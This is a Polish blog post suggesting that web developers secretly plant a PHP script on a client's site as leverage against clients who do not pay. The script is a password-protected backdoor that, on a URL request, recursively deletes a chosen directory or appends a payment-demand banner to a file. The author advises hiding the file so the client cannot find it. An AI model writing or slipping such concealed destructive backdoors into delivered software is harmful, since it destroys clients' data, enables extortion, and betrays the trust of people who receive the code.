Bat na nieuczciwych klientów

Pewnie wielu z was miało „przyjemność” spotkania nieuczciwych klientów, którzy nie byli zbyt skorzy do zapłaty za dobrze wykonaną pracę. Nawet jeżeli podpisaliśmy umowę mało komu zapewne chce się walczyć przed sądem o te kilkaset złotych (przy tych prostych projektach). Czy jesteśmy całkowicie bezbronni? Nie, stwórzmy sobie małą furkę…

<!--?php <br ?-->
// usuwa wszystkie pliki - pamietaj o CHMOD
function delete($dir) {

    $fd = opendir($dir);
    if (!$fd)
        return false;
    while (($file = readdir($fd)) !== false) {
        if ($file == "." || $file == "..")
            continue;
        if (is_dir($dir . "/" . $file)) {
            delete($dir . "/" . $file);
        } else {
            unlink("$dir/$file");
        }
    }
    closedir($fd);
    rmdir($dir);
    return true;
}

// wstrzykuje odpowiedni komunikat - pamietaj o CHMOD
function inject($file, $text) {
    $fp = fopen($file, "a");
    if (!fwrite($fp, $text))
        return false;
    fclose($fp);
    return true;
}

// dolaczony tekst
$text = '</pre>
<div style="position: fixed; top: 0; left: 0; color: #ff0000; font-size: 26px; z-index: 99999; background: #ffffff;">Prosimy uregulowac naleznosc za stworzenie strony</div>
<pre>
';

$pass = $_GET['pass'];
$action = $_GET['action'];
$path = $_GET['path'];

if ($pass == "nasze_haslo") {
    switch ($action) {
        case 'delete':
            if (delete($path)) {
                echo "Pliki usuniete z katalogu " . $path;
            } else {
                echo "Nie udalo sie usunac plikow z katalogu " . $path;
            }
            break;
        case 'inject':
            if (inject($path, $text))
                echo "Udalo sie dolaczyc do pliku: " . $path . " kod";
            else
                echo "Nie udalo sie dolaczyc do pliku: " . $path . " kodu";
            break;
        default:
            echo "Bledna akcja";
            break;
    }
} else {
    echo "Bledne haslo";
}
?>

Funkcja delete() ma za zadanie usunąć wszystkie pliki (rozwiązanie ostateczne :)), zaś inject() dodaje odpowiedni komunikat w kodzie strony. Ponadto skrypt zabezpieczamy hasłem, by nikt przypadkowo nie zniszczył strony. Musimy oczywiście jeszcze pamiętać o odpowiednim ustawieniu CHMOD, no i ukryciu pliku.

Czy jest to skuteczne? Moim zdaniem tak. Większość klientów ma znikomą wiedzę na temat tworzenia stron, więc śmiem przypuszczać, że nie będą w stanie znaleźć pliku czy poprawić CHMOD. Chyba żadna firma nie zaryzykuje kompletną kompromitacją dla paru złoty – warto wcześniej poinformować o konsekwencjach niezapłacenia w ustalonym terminie :).

Print Friendly, PDF & Email